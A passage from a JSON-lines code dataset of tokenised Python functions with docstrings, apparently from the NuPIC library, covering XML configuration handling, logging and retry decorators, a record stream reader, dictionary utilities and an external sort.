propertyElements:<EOL><INDENT>propInfo = dict()<EOL>propertyAttributes = list(propertyItem)<EOL>for propertyAttribute in propertyAttributes:<EOL><INDENT>propInfo[propertyAttribute.tag] = propertyAttribute.text<EOL><DEDENT>name = propInfo.get('<STR_LIT:name>', None)<EOL>if '<STR_LIT:value>' in propInfo and propInfo['<STR_LIT:value>'] is None:<EOL><INDENT>value = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>value = propInfo.get('<STR_LIT:value>', None)<EOL>if value is None:<EOL><INDENT>if '<STR_LIT>' in propInfo:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(propInfo)))<EOL><DEDENT><DEDENT><DEDENT>restOfValue = value<EOL>value = '<STR_LIT>'<EOL>while True:<EOL><INDENT>pos = restOfValue.find('<STR_LIT>')<EOL>if pos == -<NUM_LIT:1>:<EOL><INDENT>value += restOfValue<EOL>break<EOL><DEDENT>value += restOfValue[<NUM_LIT:0>:pos]<EOL>varTailPos = restOfValue.find('<STR_LIT:}>', pos)<EOL>if varTailPos == -<NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (restOfValue))<EOL><DEDENT>varname = restOfValue[pos+<NUM_LIT:6>:varTailPos]<EOL>if varname not in os.environ:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (varname))<EOL><DEDENT>envVarValue = os.environ[varname]<EOL>value += envVarValue<EOL>restOfValue = restOfValue[varTailPos+<NUM_LIT:1>:]<EOL><DEDENT>if name is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(propInfo)))<EOL><DEDENT>propInfo['<STR_LIT:value>'] = value<EOL>outputProperties[name] = propInfo<EOL><DEDENT>return outputProperties<EOL><DEDENT>except Exception:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\",<EOL>filePath)<EOL>raise<EOL><DEDENT>", "docstring": "Parse the given XML file and return a dict describing the file.\n\n        :param filename: (string) name of XML file to parse (no path)\n        :param path: (string) path of the XML file. If None, then use the standard\n               configuration search path.\n        :returns: (dict) with each property as a key and a dict of all the\n               property's attributes as value", "id": "f17641:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls):<DEDENT>", "body": "cls._properties = None<EOL>cls._configPaths = None<EOL>", "docstring": "Clear out the entire configuration.", "id": "f17641:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def findConfigFile(cls, filename):<DEDENT>", "body": "paths = cls.getConfigPaths()<EOL>for p in paths:<EOL><INDENT>testPath = os.path.join(p, filename)<EOL>if os.path.isfile(testPath):<EOL><INDENT>return os.path.join(p, filename)<EOL><DEDENT><DEDENT>", "docstring": "Search the configuration path (specified via the NTA_CONF_PATH\n        environment variable) for the given filename. If found, return the complete\n        path to the file.\n\n        :param filename: (string) name of file to locate", "id": "f17641:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def getConfigPaths(cls):<DEDENT>", "body": "configPaths = []<EOL>if cls._configPaths is not None:<EOL><INDENT>return cls._configPaths<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in os.environ:<EOL><INDENT>configVar = os.environ['<STR_LIT>']<EOL>configPaths = configVar.split(os.pathsep)<EOL><DEDENT>return configPaths<EOL><DEDENT>", "docstring": "Return the list of paths to search for configuration files.\n\n        :returns: (list) of paths", "id": "f17641:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def setConfigPaths(cls, paths):<DEDENT>", "body": "cls._configPaths = list(paths)<EOL>", "docstring": "Modify the paths we use to search for configuration files.\n\n        :param paths: (list) of paths to search for config files.", "id": "f17641:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def _readStdConfigFiles(cls):<DEDENT>", "body": "<EOL>cls.readConfigFile(DEFAULT_CONFIG)<EOL>cls.readConfigFile(USER_CONFIG)<EOL>", "docstring": "Read in all standard configuration files", "id": "f17641:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def getCustomDict(cls):<DEDENT>", "body": "return _CustomConfigurationFileWrapper.getCustomDict()<EOL>", "docstring": "returns: (dict) containing all custom configuration properties.", "id": "f17642:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def setCustomProperty(cls, propertyName, value):<DEDENT>", "body": "cls.setCustomProperties({propertyName : value})<EOL>", "docstring": "Set a single custom setting and persist it to the custom configuration \nstore.\n\n:param propertyName: (string) containing the name of the property to get\n:param value: (object) value to set the property to", "id": "f17642:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setCustomProperties(cls, properties):<DEDENT>", "body": "_getLogger().info(\"<STR_LIT>\",<EOL>properties, traceback.format_stack())<EOL>_CustomConfigurationFileWrapper.edit(properties)<EOL>for propertyName, value in properties.items():<EOL><INDENT>cls.set(propertyName, value)<EOL><DEDENT>", "docstring": "Set multiple custom properties and persist them to the custom configuration \nstore.\n\n:param properties: (dict) of property name/value pairs to set", "id": "f17642:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls):<DEDENT>", "body": "<EOL>super(Configuration, cls).clear()<EOL>_CustomConfigurationFileWrapper.clear(persistent=False)<EOL>", "docstring": "Clear all configuration properties from in-memory cache, but do NOT alter \nthe custom configuration file. Used in unit-testing.", "id": "f17642:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def resetCustomConfig(cls):<DEDENT>", "body": "_getLogger().info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", traceback.format_stack())<EOL>super(Configuration, cls).clear()<EOL>_CustomConfigurationFileWrapper.clear(persistent=True)<EOL>", "docstring": "Clear all custom configuration settings and delete the persistent custom \nconfiguration store.", "id": "f17642:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def loadCustomConfig(cls):<DEDENT>", "body": "cls.readConfigFile(_CustomConfigurationFileWrapper.customFileName)<EOL>", "docstring": "Loads custom configuration settings from their persistent storage.\n\n.. warning :: DO NOT CALL THIS: It's typically not necessary to call this \n   method directly. This method exists *solely* for the benefit of \n   ``prepare_conf.py``, which needs to load configuration files selectively.", "id": "f17642:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def _readStdConfigFiles(cls):<DEDENT>", "body": "super(Configuration, cls)._readStdConfigFiles()<EOL>cls.loadCustomConfig()<EOL>", "docstring": "Intercept the _readStdConfigFiles call from our base config class to\n        read in base and custom configuration settings.", "id": "f17642:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls, persistent=False):<DEDENT>", "body": "if persistent:<EOL><INDENT>try:<EOL><INDENT>os.unlink(cls.getPath())<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != errno.ENOENT:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"\"<STR_LIT>\", e.errno, cls.getPath())<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>cls._path = None<EOL>", "docstring": "If persistent is True, delete the temporary file\n\n        Parameters:\n        ----------------------------------------------------------------\n        persistent: if True, custom configuration file is deleted", "id": "f17642:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def getCustomDict(cls):<DEDENT>", "body": "if not os.path.exists(cls.getPath()):<EOL><INDENT>return dict()<EOL><DEDENT>properties = Configuration._readConfigFile(os.path.basename(<EOL>cls.getPath()), os.path.dirname(cls.getPath()))<EOL>values = dict()<EOL>for propName in properties:<EOL><INDENT>if '<STR_LIT:value>' in properties[propName]:<EOL><INDENT>values[propName] = properties[propName]['<STR_LIT:value>']<EOL><DEDENT><DEDENT>return values<EOL>", "docstring": "Returns a dict of all temporary values in custom configuration file", "id": "f17642:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def edit(cls, properties):<DEDENT>", "body": "copyOfProperties = copy(properties)<EOL>configFilePath = cls.getPath()<EOL>try:<EOL><INDENT>with open(configFilePath, '<STR_LIT:r>') as fp:<EOL><INDENT>contents = fp.read()<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>if e.errno != errno.ENOENT:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>e.errno, configFilePath, properties)<EOL>raise<EOL><DEDENT>contents = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>elements = ElementTree.XML(contents)<EOL>ElementTree.tostring(elements)<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\" %(configFilePath, contents, type(e), e)<EOL>_getLogger().exception(msg)<EOL>raise RuntimeError(msg).with_traceback(sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>if elements.tag != '<STR_LIT>':<EOL><INDENT>e = \"<STR_LIT>\" %(elements.tag)<EOL>_getLogger().error(e)<EOL>raise RuntimeError(e)<EOL><DEDENT>for propertyItem in elements.findall('<STR_LIT>'):<EOL><INDENT>propInfo = dict((attr.tag, attr.text) for attr in propertyItem)<EOL>name = propInfo['<STR_LIT:name>']<EOL>if name in copyOfProperties:<EOL><INDENT>foundValues = propertyItem.findall('<STR_LIT>')<EOL>if len(foundValues) > <NUM_LIT:0>:<EOL><INDENT>foundValues[<NUM_LIT:0>].text = str(copyOfProperties.pop(name))<EOL>if not copyOfProperties:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>e = \"<STR_LIT>\" % (name,)<EOL>_getLogger().error(e)<EOL>raise RuntimeError(e)<EOL><DEDENT><DEDENT><DEDENT>for propertyName, value in copyOfProperties.items():<EOL><INDENT>newProp = ElementTree.Element('<STR_LIT>')<EOL>nameTag = ElementTree.Element('<STR_LIT:name>')<EOL>nameTag.text = propertyName<EOL>newProp.append(nameTag)<EOL>valueTag = ElementTree.Element('<STR_LIT:value>')<EOL>valueTag.text = str(value)<EOL>newProp.append(valueTag)<EOL>elements.append(newProp)<EOL><DEDENT>try:<EOL><INDENT>makeDirectoryFromAbsolutePath(os.path.dirname(configFilePath))<EOL>with open(configFilePath,'<STR_LIT:w>') as fp:<EOL><INDENT>fp.write(ElementTree.tostring(elements))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>_getLogger().exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", properties, configFilePath)<EOL>raise<EOL><DEDENT>", "docstring": "Edits the XML configuration file with the parameters specified by\n        properties\n\n        Parameters:\n        ----------------------------------------------------------------\n        properties: dict of settings to be applied to the custom configuration store\n                     (key is property name, value is value)", "id": "f17642:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def _setPath(cls):<DEDENT>", "body": "cls._path = os.path.join(os.environ['<STR_LIT>'],<EOL>cls.customFileName)<EOL>", "docstring": "Sets the path of the custom configuration file", "id": "f17642:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def getPath(cls):<DEDENT>", "body": "if cls._path is None:<EOL><INDENT>cls._setPath()<EOL><DEDENT>return cls._path<EOL>", "docstring": "Get the path of the custom configuration file", "id": "f17642:c1:m4"}
{"signature": "def logExceptions(logger=None):", "body": "logger = (logger if logger is not None else logging.getLogger(__name__))<EOL>def exceptionLoggingDecorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def exceptionLoggingWrap(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>except:<EOL><INDENT>logger.exception(<EOL>\"<STR_LIT>\",<EOL>sys.exc_info()[<NUM_LIT:1>], func, '<STR_LIT>'.join(traceback.format_stack()), )<EOL>raise<EOL><DEDENT><DEDENT>return exceptionLoggingWrap<EOL><DEDENT>return exceptionLoggingDecorator<EOL>", "docstring": "Returns a closure suitable for use as function/method decorator for\n    logging exceptions that leave the scope of the decorated function. Exceptions\n    are logged at ERROR level.\n\n    logger:    user-supplied logger instance. Defaults to logging.getLogger.\n\n    Usage Example:\n      NOTE: logging must be initialized *before* any loggers are created, else\n        there will be no output; see nupic.support.initLogging()\n\n      @logExceptions()\n      def myFunctionFoo():\n          ...\n          raise RuntimeError(\"something bad happened\")\n          ...", "id": "f17643:m0"}
{"signature": "def logEntryExit(getLoggerCallback=logging.getLogger,<EOL>entryExitLogLevel=logging.DEBUG, logArgs=False,<EOL>logTraceback=False):", "body": "def entryExitLoggingDecorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def entryExitLoggingWrap(*args, **kwargs):<EOL><INDENT>if entryExitLogLevel is None:<EOL><INDENT>enabled = False<EOL><DEDENT>else:<EOL><INDENT>logger = getLoggerCallback()<EOL>enabled = logger.isEnabledFor(entryExitLogLevel)<EOL><DEDENT>if not enabled:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>funcName = str(func)<EOL>if logArgs:<EOL><INDENT>argsRepr = '<STR_LIT:U+002CU+0020>'.join(<EOL>[repr(a) for a in args] +<EOL>['<STR_LIT>' % (k,v,) for k,v in kwargs.items()])<EOL><DEDENT>else:<EOL><INDENT>argsRepr = '<STR_LIT>'<EOL><DEDENT>logger.log(<EOL>entryExitLogLevel, \"<STR_LIT>\", funcName, argsRepr,<EOL>'<STR_LIT>' if not logTraceback else '<STR_LIT>' + repr(traceback.format_stack()))<EOL>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>finally:<EOL><INDENT>logger.log(<EOL>entryExitLogLevel, \"<STR_LIT>\", funcName, argsRepr,<EOL>'<STR_LIT>' if not logTraceback else '<STR_LIT>' + repr(traceback.format_stack()))<EOL><DEDENT><DEDENT>return entryExitLoggingWrap<EOL><DEDENT>return entryExitLoggingDecorator<EOL>", "docstring": "Returns a closure suitable for use as function/method decorator for\n    logging entry/exit of function/method.\n\n    getLoggerCallback:    user-supplied callback function that takes no args and\n                            returns the logger instance to use for logging.\n    entryExitLogLevel:    Log level for logging entry/exit of decorated function;\n                            e.g., logging.DEBUG; pass None to disable entry/exit\n                            logging.\n    logArgs:              If True, also log args\n    logTraceback:         If True, also log Traceback information\n\n    Usage Examples:\n      NOTE: logging must be initialized *before* any loggers are created, else\n        there will be no output; see nupic.support.initLogging()\n\n      @logEntryExit()\n      def myFunctionBar():\n          ...\n\n\n      @logEntryExit(logTraceback=True)\n      @logExceptions()\n      def myFunctionGamma():\n          ...\n          raise RuntimeError(\"something bad happened\")\n          ...", "id": "f17643:m1"}
{"signature": "def retry(timeoutSec, initialRetryDelaySec, maxRetryDelaySec,<EOL>retryExceptions=(Exception,),<EOL>retryFilter=lambda e, args, kwargs: True,<EOL>logger=None, clientLabel=\"<STR_LIT>\"):", "body": "assert initialRetryDelaySec > <NUM_LIT:0>, str(initialRetryDelaySec)<EOL>assert timeoutSec >= <NUM_LIT:0>, str(timeoutSec)<EOL>assert maxRetryDelaySec >= initialRetryDelaySec,\"<STR_LIT>\" % (maxRetryDelaySec, initialRetryDelaySec)<EOL>assert isinstance(retryExceptions, tuple), (<EOL>\"<STR_LIT>\") % (type(retryExceptions),)<EOL>if logger is None:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL><DEDENT>def retryDecorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def retryWrap(*args, **kwargs):<EOL><INDENT>numAttempts = <NUM_LIT:0><EOL>delaySec = initialRetryDelaySec<EOL>startTime = time.time()<EOL>while True:<EOL><INDENT>numAttempts += <NUM_LIT:1><EOL>try:<EOL><INDENT>result = func(*args, **kwargs)<EOL><DEDENT>except retryExceptions as e:<EOL><INDENT>if not retryFilter(e, args, kwargs):<EOL><INDENT>if logger.isEnabledFor(logging.DEBUG):<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', clientLabel, func,<EOL>'<STR_LIT>'.join(traceback.format_stack()), exc_info=True)<EOL><DEDENT>raise<EOL><DEDENT>now = time.time()<EOL>if now < startTime:<EOL><INDENT>startTime = now<EOL><DEDENT>if (now - startTime) >= timeoutSec:<EOL><INDENT>logger.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', clientLabel, timeoutSec, numAttempts, func,<EOL>'<STR_LIT>'.join(traceback.format_stack()))<EOL>raise<EOL><DEDENT>if numAttempts == <NUM_LIT:1>:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', clientLabel, func, delaySec,<EOL>timeoutSec, '<STR_LIT>'.join(traceback.format_stack()), exc_info=True)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>clientLabel, func, numAttempts, delaySec, timeoutSec,<EOL>'<STR_LIT>'.join(traceback.format_stack()), exc_info=True)<EOL><DEDENT>time.sleep(delaySec)<EOL>delaySec = min(delaySec*<NUM_LIT:2>, maxRetryDelaySec)<EOL><DEDENT>else:<EOL><INDENT>if numAttempts > <NUM_LIT:1>:<EOL><INDENT>logger.info('<STR_LIT>',<EOL>clientLabel, func, numAttempts)<EOL><DEDENT>return result<EOL><DEDENT><DEDENT><DEDENT>return retryWrap<EOL><DEDENT>return retryDecorator<EOL>", "docstring": "Returns a closure suitable for use as function/method decorator for\n    retrying a function being decorated.\n\n    timeoutSec:           How many seconds from time of initial call to stop\n                          retrying (floating point); 0 = no retries\n    initialRetryDelaySec: Number of seconds to wait for first retry.\n                          Subsequent retries will occur at geometrically\n                          doubling intervals up to a maximum interval of\n                          maxRetryDelaySec (floating point)\n    maxRetryDelaySec:     Maximum amount of seconds to wait between retries\n                          (floating point)\n    retryExceptions:      A tuple (must be a tuple) of exception classes that,\n                          including their subclasses, should trigger retries;\n                          Default: any Exception-based exception will trigger\n                          retries\n    retryFilter:          Optional filter function used to further filter the\n                          exceptions in the retryExceptions tuple; called if the\n                          current exception meets the retryExceptions criteria:\n                          takes the current exception instance, args, and kwargs\n                          that were passed to the decorated function, and returns\n                          True to retry, False to allow the exception to be\n                          re-raised without retrying. Default: permits any\n                          exception that matches retryExceptions to be retried.\n    logger:               User-supplied logger instance to use for logging.\n                          None=defaults to logging.getLogger(__name__).\n\n    Usage Example:\n      NOTE: logging must be initialized *before* any loggers are created, else\n        there will be no output; see nupic.support.initLogging()\n\n      _retry = retry(timeoutSec=300, initialRetryDelaySec=0.2,\n                     maxRetryDelaySec=10, retryExceptions=[socket.error])\n      @_retry\n      def myFunctionFoo():\n          ...\n          raise RuntimeError(\"something bad happened\")\n          ...", "id": "f17643:m2"}
{"signature": "def makeDirectoryFromAbsolutePath(absDirPath):", "body": "assert os.path.isabs(absDirPath)<EOL>try:<EOL><INDENT>os.makedirs(absDirPath)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != os.errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return absDirPath<EOL>", "docstring": "Makes directory for the given directory path with default permissions.\n    If the directory already exists, it is treated as success.\n\n    :param absDirPath: (string) absolute path of the directory to create.\n    :raises: OSError if directory creation fails\n    :returns: (string) absolute path provided", "id": "f17644:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _openStream(dataUrl,<EOL>isBlocking,  <EOL>maxTimeout,  <EOL>bookmark,<EOL>firstRecordIdx):<DEDENT>", "body": "filePath = dataUrl[len(FILE_PREF):]<EOL>if not os.path.isabs(filePath):<EOL><INDENT>filePath = os.path.join(os.getcwd(), filePath)<EOL><DEDENT>return FileRecordStream(streamID=filePath,<EOL>write=False,<EOL>bookmark=bookmark,<EOL>firstRecord=firstRecordIdx)<EOL>", "docstring": "Open the underlying file stream\n        This only supports 'file://' prefixed paths.\n\n        :returns: record stream instance\n        :rtype: FileRecordStream", "id": "f17645:c1:m1"}
{"signature": "def close(self):", "body": "return self._recordStore.close()<EOL>", "docstring": "Close the stream", "id": "f17645:c1:m2"}
{"signature": "def getNextRecord(self):", "body": "<EOL>while True:<EOL><INDENT>if self._sourceLastRecordIdx is not None  andself._recordStore.getNextRecordIdx() >= self._sourceLastRecordIdx:<EOL><INDENT>preAggValues = None                             <EOL>bookmark = self._recordStore.getBookmark()<EOL><DEDENT>else:<EOL><INDENT>preAggValues = self._recordStore.getNextRecord()<EOL>bookmark = self._recordStore.getBookmark()<EOL><DEDENT>if preAggValues == ():  <EOL><INDENT>if self._eofOnTimeout:<EOL><INDENT>preAggValues = None  <EOL><DEDENT>else:<EOL><INDENT>return preAggValues  <EOL><DEDENT><DEDENT>self._logger.debug('<STR_LIT>',<EOL>self._recordStore.getNextRecordIdx()-<NUM_LIT:1>, preAggValues)<EOL>(fieldValues, aggBookmark) = self._aggregator.next(preAggValues, bookmark)<EOL>if fieldValues is not None:<EOL><INDENT>self._aggBookmark = aggBookmark<EOL><DEDENT>if preAggValues is None and fieldValues is None:<EOL><INDENT>return None<EOL><DEDENT>if fieldValues is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if self._needFieldsFiltering:<EOL><INDENT>values = []<EOL>srcDict = dict(zip(self._recordStoreFieldNames, fieldValues))<EOL>for name in self._streamFieldNames:<EOL><INDENT>values.append(srcDict[name])<EOL><DEDENT>fieldValues = values<EOL><DEDENT>if self._writer is not None:<EOL><INDENT>self._writer.appendRecord(fieldValues)<EOL><DEDENT>self._recordCount += <NUM_LIT:1><EOL>self._logger.debug('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>self._recordCount-<NUM_LIT:1>, fieldValues, self._aggBookmark)<EOL>return fieldValues<EOL>", "docstring": "Returns combined data from all sources (values only).\n\n        :returns: None on EOF; empty sequence on timeout.", "id": "f17645:c1:m3"}
{"signature": "def getDataRowCount(self):", "body": "inputRowCountAfterAggregation = <NUM_LIT:0><EOL>while True:<EOL><INDENT>record = self.getNextRecord()<EOL>if record is None:<EOL><INDENT>return inputRowCountAfterAggregation<EOL><DEDENT>inputRowCountAfterAggregation += <NUM_LIT:1><EOL>if inputRowCountAfterAggregation > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Iterates through stream to calculate total records after aggregation.\nThis will alter the bookmark state.", "id": "f17645:c1:m4"}
{"signature": "def getNextRecordIdx(self):", "body": "return self._recordCount<EOL>", "docstring": ":returns: the index of the record that will be read next from\n          :meth:`getNextRecord`.", "id": "f17645:c1:m5"}
{"signature": "def recordsExistAfter(self, bookmark):", "body": "return self._recordStore.recordsExistAfter(bookmark)<EOL>", "docstring": ":returns: True if there are records left after the  bookmark.", "id": "f17645:c1:m6"}
{"signature": "def getAggregationMonthsAndSeconds(self):", "body": "return self._aggMonthsAndSeconds<EOL>", "docstring": "Returns the aggregation period of the record stream as a dict\n        containing 'months' and 'seconds'. The months is always an integer and\n        seconds is a floating point. Only one is allowed to be non-zero at a\n        time.\n\n        Will return the aggregation period from this call. This call is\n        used by the :meth:`nupic.data.record_stream.RecordStream.getNextRecordDict`\n        method to assign a record number to a record given its timestamp and the\n        aggregation interval.\n\n        :returns: aggregationPeriod (as a dict) where:\n\n                  - ``months``: number of months in aggregation period\n                  - ``seconds``: number of seconds in aggregation period\n                    (as a float)", "id": "f17645:c1:m7"}
{"signature": "def getFieldNames(self):", "body": "return [f.name for f in self._streamFields]<EOL>", "docstring": "Returns all fields in all inputs (list of plain names).\n\n.. note:: currently, only one input is supported", "id": "f17645:c1:m11"}
{"signature": "def getFields(self):", "body": "return self._streamFields<EOL>", "docstring": ":returns: a sequence of :class:`nupic.data.fieldmeta.FieldMetaInfo` for each\n          field in the stream.", "id": "f17645:c1:m12"}
{"signature": "def getBookmark(self):", "body": "return self._aggBookmark<EOL>", "docstring": ":returns: a bookmark to the current position", "id": "f17645:c1:m13"}
{"signature": "def clearStats(self):", "body": "self._recordStore.clearStats()<EOL>", "docstring": "Resets stats collected so far.", "id": "f17645:c1:m14"}
{"signature": "def getStats(self):", "body": "<EOL>recordStoreStats = self._recordStore.getStats()<EOL>streamStats = dict()<EOL>for (key, values) in recordStoreStats.items():<EOL><INDENT>fieldStats = dict(zip(self._recordStoreFieldNames, values))<EOL>streamValues = []<EOL>for name in self._streamFieldNames:<EOL><INDENT>streamValues.append(fieldStats[name])<EOL><DEDENT>streamStats[key] = streamValues<EOL><DEDENT>return streamStats<EOL>", "docstring": "TODO: This method needs to be enhanced to get the stats on the *aggregated*\nrecords.\n\n:returns: stats (like min and max values of the fields).", "id": "f17645:c1:m15"}
{"signature": "def getError(self):", "body": "return self._recordStore.getError()<EOL>", "docstring": ":returns: errors saved in the stream.", "id": "f17645:c1:m16"}
{"signature": "def setError(self, error):", "body": "self._recordStore.setError(error)<EOL>", "docstring": "Saves specified error in the stream.\n\n        :param error: to save", "id": "f17645:c1:m17"}
{"signature": "def isCompleted(self):", "body": "return self._recordStore.isCompleted()<EOL>", "docstring": ":returns: True if all records have been read.", "id": "f17645:c1:m18"}
{"signature": "def setCompleted(self, completed=True):", "body": "<EOL>self._recordStore.setCompleted(completed)<EOL>", "docstring": "Marks the stream completed (True or False)\n\n:param completed: (bool) is completed or not", "id": "f17645:c1:m19"}
{"signature": "def setTimeout(self, timeout):", "body": "self._recordStore.setTimeout(timeout)<EOL>", "docstring": "Set the read timeout.\n\n        :param timeout: (float or int) timeout length", "id": "f17645:c1:m20"}
{"signature": "def rUpdate(original, updates):", "body": "<EOL>dictPairs = [(original, updates)]<EOL>while len(dictPairs) > <NUM_LIT:0>:<EOL><INDENT>original, updates = dictPairs.pop()<EOL>for k, v in updates.items():<EOL><INDENT>if k in original and isinstance(original[k], dict) and isinstance(v, dict):<EOL><INDENT>dictPairs.append((original[k], v))<EOL><DEDENT>else:<EOL><INDENT>original[k] = v<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Recursively updates the values in original with the values from updates.", "id": "f17646:m0"}
{"signature": "def rApply(d, f):", "body": "remainingDicts = [(d, ())]<EOL>while len(remainingDicts) > <NUM_LIT:0>:<EOL><INDENT>current, prevKeys = remainingDicts.pop()<EOL>for k, v in current.items():<EOL><INDENT>keys = prevKeys + (k,)<EOL>if isinstance(v, dict):<EOL><INDENT>remainingDicts.insert(<NUM_LIT:0>, (v, keys))<EOL><DEDENT>else:<EOL><INDENT>f(v, keys)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Recursively applies f to the values in dict d.\n\n    Args:\n      d: The dict to recurse over.\n      f: A function to apply to values in d that takes the value and a list of\n          keys from the root of the dict to the value.", "id": "f17646:m1"}
{"signature": "def dictDiffAndReport(da, db):", "body": "differences = dictDiff(da, db)<EOL>if not differences:<EOL><INDENT>return differences<EOL><DEDENT>if differences['<STR_LIT>']:<EOL><INDENT>print(\"<STR_LIT>\" % differences['<STR_LIT>'])<EOL><DEDENT>if differences['<STR_LIT>']:<EOL><INDENT>print(\"<STR_LIT>\" % differences['<STR_LIT>'])<EOL><DEDENT>for key in differences['<STR_LIT>']:<EOL><INDENT>print(\"<STR_LIT>\" % (key, key))<EOL>print(\"<STR_LIT>\" % (key, da[key]))<EOL>print(\"<STR_LIT>\" % (key, db[key]))<EOL><DEDENT>return differences<EOL>", "docstring": "Compares two python dictionaries at the top level and report differences,\n    if any, to stdout\n\n    da:             first dictionary\n    db:             second dictionary\n\n    Returns:        The same value as returned by dictDiff() for the given args", "id": "f17646:m5"}
{"signature": "def dictDiff(da, db):", "body": "different = False<EOL>resultDict = dict()<EOL>resultDict['<STR_LIT>'] = set(da) - set(db)<EOL>if resultDict['<STR_LIT>']:<EOL><INDENT>different = True<EOL><DEDENT>resultDict['<STR_LIT>'] = set(db) - set(da)<EOL>if resultDict['<STR_LIT>']:<EOL><INDENT>different = True<EOL><DEDENT>resultDict['<STR_LIT>'] = []<EOL>for key in (set(da) - resultDict['<STR_LIT>']):<EOL><INDENT>comparisonResult = da[key] == db[key]<EOL>if isinstance(comparisonResult, bool):<EOL><INDENT>isEqual = comparisonResult<EOL><DEDENT>else:<EOL><INDENT>isEqual = comparisonResult.all()<EOL><DEDENT>if not isEqual:<EOL><INDENT>resultDict['<STR_LIT>'].append(key)<EOL>different = True<EOL><DEDENT><DEDENT>assert (((resultDict['<STR_LIT>'] or resultDict['<STR_LIT>'] or<EOL>resultDict['<STR_LIT>']) and different) or not different)<EOL>return resultDict if different else None<EOL>", "docstring": "Compares two python dictionaries at the top level and return differences\n\n    da:             first dictionary\n    db:             second dictionary\n\n    Returns:        None if dictionaries test equal; otherwise returns a\n                    dictionary as follows:\n                    {\n                      'inAButNotInB':\n                          <sequence of keys that are in da but not in db>\n                      'inBButNotInA':\n                          <sequence of keys that are in db but not in da>\n                      'differentValues':\n                          <sequence of keys whose corresponding values differ\n                           between da and db>\n                    }", "id": "f17646:m6"}
{"signature": "def sort(filename, key, outputFile, fields=None, watermark=<NUM_LIT> * <NUM_LIT> * <NUM_LIT:100>):", "body": "if fields is not None:<EOL><INDENT>assert set(key).issubset(set([f[<NUM_LIT:0>] for f in fields]))<EOL><DEDENT>with FileRecordStream(filename) as f:<EOL><INDENT>if fields:<EOL><INDENT>fieldNames = [ff[<NUM_LIT:0>] for ff in fields]<EOL>indices = [f.getFieldNames().index(name) for name in fieldNames]<EOL>assert len(indices) == len(fields)<EOL><DEDENT>else:<EOL><INDENT>fileds = f.getFields()<EOL>fieldNames = f.getFieldNames()<EOL>indices = None<EOL><DEDENT>key = [fieldNames.index(name) for name in key]<EOL>chunk = <NUM_LIT:0><EOL>records = []<EOL>for i, r in enumerate(f):<EOL><INDENT>if indices:<EOL><INDENT>temp = []<EOL>for i in indices:<EOL><INDENT>temp.append(r[i])<EOL><DEDENT>r = temp<EOL><DEDENT>records.append(r)<EOL>available_memory = psutil.avail_phymem()<EOL>if available_memory < watermark:<EOL><INDENT>_sortChunk(records, key, chunk, fields)<EOL>records = []<EOL>chunk += <NUM_LIT:1><EOL><DEDENT><DEDENT>if len(records) > <NUM_LIT:0>:<EOL><INDENT>_sortChunk(records, key, chunk, fields)<EOL>chunk += <NUM_LIT:1><EOL><DEDENT>_mergeFiles(key, chunk, outputFile, 